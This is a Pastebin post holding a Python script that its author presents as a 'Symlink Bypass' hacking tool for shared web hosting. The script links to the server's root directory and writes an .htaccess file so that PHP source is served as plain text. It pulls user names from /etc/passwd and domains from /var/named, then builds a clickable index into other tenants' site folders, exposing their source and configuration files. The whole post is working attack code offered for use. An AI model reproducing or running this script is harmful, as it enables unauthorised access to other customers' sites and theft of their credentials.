Advertisement
Hasannetbd

Symlink Python Script

Jun 17th, 2017
646
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.71 KB | None | 0 0
  1. #/*Python
  2.  
  3. import time
  4. import os
  5. import sys
  6. import re
  7.  
  8. os.system("color C")
  9.  
  10. hta = "\nFile : .htaccess // Created Successfully!\n"
  11. f = "All Processes Done!\nSymlink Bypassed Successfully!\n"
  12. print "\n"
  13. print "~"*60
  14. print "Symlink Bypass 2016 By D@rk_H1s@n"
  15. print "     Happy Hacking"
  16. print "~"*60
  17.  
  18. os.makedirs('Hasan')
  19. os.chdir('Hasan')
  20.  
  21. susr=[]
  22. sitex=[]
  23. os.system("ln -s / Go_Hasan")
  24.  
  25. h = "Options Indexes FollowSymLinks\nDirectoryIndex Hasan.phtml\nAddType txt .php\nAddHandler text/plain .php\nAddType text/plain .php\nAddHandler server-parsed .php"
  26. m = open(".htaccess","w+")
  27. m.write(h)
  28. m.close()
  29. print hta
  30.  
  31. sf = "<html><title>Symlink Bypass 2016 D@rk_H1s@n</title><center><font color=black size=5>Symlink Bypass 2016<br><font size=4>Made By<a href='http://www.facebook.com/bd.dark.hasan'> D@rk_H1s@n</a><br>Happy Hacking</font></font><br><font color=black size=3><table>"
  32.  
  33. o = open('/etc/passwd','r')
  34. o=o.read()
  35. o = re.findall('/home/\w+',o)
  36.  
  37. for xusr in o:
  38.     xusr=xusr.replace('/home/','')
  39.     susr.append(xusr)
  40. print "-"*30
  41. xsite = os.listdir("/var/named")
  42.  
  43. for xxsite in xsite:
  44.     xxsite=xxsite.replace(".db","")
  45.     sitex.append(xxsite)
  46. print f
  47. path=os.getcwd()
  48. if "/public_html/" in path:
  49.     path="/public_html/"
  50. else:
  51.     path = "/html/"
  52. counter=1
  53. ips=open("Hasan.phtml","w")
  54. ips.write(sf)
  55.  
  56. for fusr in susr:
  57.     for fsite in sitex:
  58.         fu=fusr[0:5]
  59.         s=fsite[0:5]
  60.         if fu==s:
  61.             ips.write("<tr><td style=font-family:calibri;font-weight:bold;color:black;>%s</td><td style=font-family:calibri;font-weight:bold;color:green;>%s</td><td style=font-family:calibri;font-weight:bold;color:green;><a href=Go_Hasan/home/%s%s target=_blank >%s</a></td>"%(counter,fusr,fusr,path,fsite))
  62.             counter=counter+1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement